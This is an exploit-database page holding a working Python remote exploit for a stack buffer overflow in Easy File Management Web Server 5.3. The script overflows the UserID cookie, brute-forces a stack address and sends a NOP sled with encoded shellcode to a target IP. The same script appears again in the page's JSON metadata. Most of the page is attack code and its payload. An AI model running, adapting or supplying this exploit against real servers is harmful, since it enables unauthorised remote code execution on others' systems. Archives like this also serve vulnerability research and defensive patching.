Search...

Easy File Management Web Server 5.3 - Stack Buffer Overflow

2014-05-21T00:00:00

ID EDB-ID:33453
Type exploitdb
Reporter superkojiman
Modified 2014-05-21T00:00:00

Description

Easy File Management Web Server 5.3 - Stack Buffer Overflow. Remote exploit for windows platform

                                        
                                            #!/usr/bin/env python

# Exploit Title: Easy File Management Web Server 5.3 stack buffer overflow
# Date: 19 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.web-file-management.com/download.php
# Version: 5.3
# Tested on: English version of Windows XP Professional SP2 and SP3
#
# Description: 
# By setting UserID in the cookie to a long string, we can overwrite EDX which 
# allows us to control execution flow when the following instruction is 
# executed:
#
# 0x00468702: call dword ptr [edx+28h]
# 
# Very similar to Easy File Sharing Web Server 6.8 exploit here: 
# http://www.exploit-db.com/exploits/33352/
# I suspect their other web server solutions might be vulnerable to a similar 
# overflow.
#
# Tested with Easy File Management Web Server installed in the default location 
# at C:\EFS Software\Easy File Management Web Server


import socket
import struct
import sys

target = "172.16.229.134"
port = 80

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin 
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = ( 
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

for i in xrange(1,255):
    n = ""
    if i &lt; 16:
        n = "0" + hex(i)[-1]
    else:
        n = hex(i)[2:]

    # craft the value of EDX that will be used in CALL DWORD PTR DS:[EDX+28]
    # only second byte changes in the stack address changes, so we can brute 
    # force it
    guess = "0x01" + n + "9898"
    print "trying", guess

    payload =  "A"*20                               # padding
    payload += struct.pack("&lt;I", 0x1001646a)        # call edi @LoadImage.dll
    payload += "B"*56                               # padding
    payload += struct.pack("&lt;I", int(guess, 16))    # guessed address in stack
                                                    # containing pointer to 
													# call edi

    payload += "\x90"*20                            # nop sled 
    payload += shellcode                            # win!

    # craft the request
    buf = (
    "GET /vfolder.ghp HTTP/1.1\r\n"
    "User-Agent: Mozilla/4.0\r\n"
    "Host:" + target + ":" + str(port) + "\r\n"
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    "Accept-Language: en-us\r\n"
    "Accept-Encoding: gzip, deflate\r\n"
    "Referer: http://" + target + "/\r\n"
    "Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"
    "Conection: Keep-Alive\r\n\r\n"
    )

    # send the request and payload to the server
    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s1.connect((target, port))
    s1.send(buf)
    s1.close()

JSON Vulners Source

Initial Source

{"id": "EDB-ID:33453", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Easy File Management Web Server 5.3 - Stack Buffer Overflow", "description": "Easy File Management Web Server 5.3 - Stack Buffer Overflow. Remote exploit for windows platform", "published": "2014-05-21T00:00:00", "modified": "2014-05-21T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/33453/", "reporter": "superkojiman", "references": [], "cvelist": [], "lastseen": "2016-02-03T19:13:52", "viewCount": 10, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-02-03T19:13:52", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-03T19:13:52", "rev": 2}, "vulnersScore": 0.1}, "sourceHref": "https://www.exploit-db.com/download/33453/", "sourceData": "#!/usr/bin/env python\r\n\r\n# Exploit Title: Easy File Management Web Server 5.3 stack buffer overflow\r\n# Date: 19 May 2014\r\n# Exploit Author: superkojiman - http://www.techorganic.com\r\n# Vendor Homepage: http://www.efssoft.com\r\n# Software Link: http://www.web-file-management.com/download.php\r\n# Version: 5.3\r\n# Tested on: English version of Windows XP Professional SP2 and SP3\r\n#\r\n# Description: \r\n# By setting UserID in the cookie to a long string, we can overwrite EDX which \r\n# allows us to control execution flow when the following instruction is \r\n# executed:\r\n#\r\n# 0x00468702: call dword ptr [edx+28h]\r\n# \r\n# Very similar to Easy File Sharing Web Server 6.8 exploit here: \r\n# http://www.exploit-db.com/exploits/33352/\r\n# I suspect their other web server solutions might be vulnerable to a similar \r\n# overflow.\r\n#\r\n# Tested with Easy File Management Web Server installed in the default location \r\n# at C:\\EFS Software\\Easy File Management Web Server\r\n\r\n\r\nimport socket\r\nimport struct\r\nimport sys\r\n\r\ntarget = \"172.16.229.134\"\r\nport = 80\r\n\r\n# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/\r\n# msfencode -b \"\\x00\\x20\" -i w32-exec-calc-shellcode.bin \r\n# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)\r\nshellcode = ( \r\n\"\\xd9\\xcb\\xbe\\xb9\\x23\\x67\\x31\\xd9\\x74\\x24\\xf4\\x5a\\x29\\xc9\" +\r\n\"\\xb1\\x13\\x31\\x72\\x19\\x83\\xc2\\x04\\x03\\x72\\x15\\x5b\\xd6\\x56\" +\r\n\"\\xe3\\xc9\\x71\\xfa\\x62\\x81\\xe2\\x75\\x82\\x0b\\xb3\\xe1\\xc0\\xd9\" +\r\n\"\\x0b\\x61\\xa0\\x11\\xe7\\x03\\x41\\x84\\x7c\\xdb\\xd2\\xa8\\x9a\\x97\" +\r\n\"\\xba\\x68\\x10\\xfb\\x5b\\xe8\\xad\\x70\\x7b\\x28\\xb3\\x86\\x08\\x64\" +\r\n\"\\xac\\x52\\x0e\\x8d\\xdd\\x2d\\x3c\\x3c\\xa0\\xfc\\xbc\\x82\\x23\\xa8\" +\r\n\"\\xd7\\x94\\x6e\\x23\\xd9\\xe3\\x05\\xd4\\x05\\xf2\\x1b\\xe9\\x09\\x5a\" +\r\n\"\\x1c\\x39\\xbd\"\r\n)\r\n\r\nfor i in xrange(1,255):\r\n n = \"\"\r\n if i < 16:\r\n n = \"0\" + hex(i)[-1]\r\n else:\r\n n = hex(i)[2:]\r\n\r\n # craft the value of EDX that will be used in CALL DWORD PTR DS:[EDX+28]\r\n # only second byte changes in the stack address changes, so we can brute \r\n # force it\r\n guess = \"0x01\" + n + \"9898\"\r\n print \"trying\", guess\r\n\r\n payload = \"A\"*20 # padding\r\n payload += struct.pack(\"<I\", 0x1001646a) # call edi @LoadImage.dll\r\n payload += \"B\"*56 # padding\r\n payload += struct.pack(\"<I\", int(guess, 16)) # guessed address in stack\r\n # containing pointer to \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t# call edi\r\n\r\n payload += \"\\x90\"*20 # nop sled \r\n payload += shellcode # win!\r\n\r\n # craft the request\r\n buf = (\r\n \"GET /vfolder.ghp HTTP/1.1\\r\\n\"\r\n \"User-Agent: Mozilla/4.0\\r\\n\"\r\n \"Host:\" + target + \":\" + str(port) + \"\\r\\n\"\r\n \"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\n\"\r\n \"Accept-Language: en-us\\r\\n\"\r\n \"Accept-Encoding: gzip, deflate\\r\\n\"\r\n \"Referer: http://\" + target + \"/\\r\\n\"\r\n \"Cookie: SESSIONID=6771; UserID=\" + payload + \"; PassWD=;\\r\\n\"\r\n \"Conection: Keep-Alive\\r\\n\\r\\n\"\r\n )\r\n\r\n # send the request and payload to the server\r\n s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n s1.connect((target, port))\r\n s1.send(buf)\r\n s1.close()\r\n\r\n\r\n", "osvdbidlist": ["107241"]}